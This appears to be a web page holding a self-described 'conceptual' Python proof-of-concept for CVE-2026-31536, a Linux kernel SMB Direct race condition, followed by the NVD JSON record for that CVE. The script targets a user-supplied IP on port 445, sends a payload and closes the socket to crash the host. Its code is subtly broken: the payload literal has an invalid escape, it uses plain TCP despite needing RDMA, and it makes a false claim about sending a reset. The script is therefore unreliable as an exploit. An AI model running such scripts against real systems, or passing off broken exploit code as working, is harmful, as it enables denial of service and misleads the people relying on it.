CVE-2026-31536

#!/usr/bin/env python3 """ PoC for CVE-2026-31536 (Conceptual) This script attempts to trigger the race condition in the Linux Kernel SMB server by simulating an SMB Direct connection and abruptly closing it during batch processing. Note: Actual exploitation requires RDMA/SMB Direct capable environment. """ import socket import time import sys def trigger_vulnerability(target_ip, port=445): try: print(f"[+] Connecting to {target_ip}:{port}...") # Establish a TCP connection to the SMB service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, port)) # Send a malformed or initial SMB negotiation to initiate state # In a real scenario, this would involve setting up an SMB Direct (RDMA) context payload = b"\x00\x00\x00\x\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8" s.send(payload) print("[+] Payload sent, waiting for processing...") # Wait briefly to allow the server to process batch requests (smbdirect_send_batch) time.sleep(0.1) # Simulate the connection break that triggers IB_SEND_SIGNALED logic error print("[!] Triggering connection reset...") s.close() # RST instead of FIN to force immediate signal print("[+] Exploit trigger sent. Check target for crash.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve_2026_31536_poc.py <TARGET_IP>") else: trigger_vulnerability(sys.argv[1])

{"cve": {"id": "CVE-2026-31536", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:27.530", "lastModified": "2026-04-28T19:10:25.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: server: let send_done handle a completion without IB_SEND_SIGNALED\n\nWith smbdirect_send_batch processing we likely have requests without\nIB_SEND_SIGNALED, which will be destroyed in the final request\nthat has IB_SEND_SIGNALED set.\n\nIf the connection is broken all requests are signaled\neven without explicit IB_SEND_SIGNALED."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15", "versionEndExcluding": "6.18.11", "matchCriteriaId": "15E921F5-9862-4FCB-AB2A-5ADDE34536EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.1", "matchCriteriaId": "EE543C0D-A06B-414F-A403-CB1E088F261E"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/24082642654f3e5149913946e89c00a297a8868f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9da82dc73cb03e85d716a2609364572367a5ff47", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e38b415c024bc3b6321bf8650dbf3f4aab8e74b3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}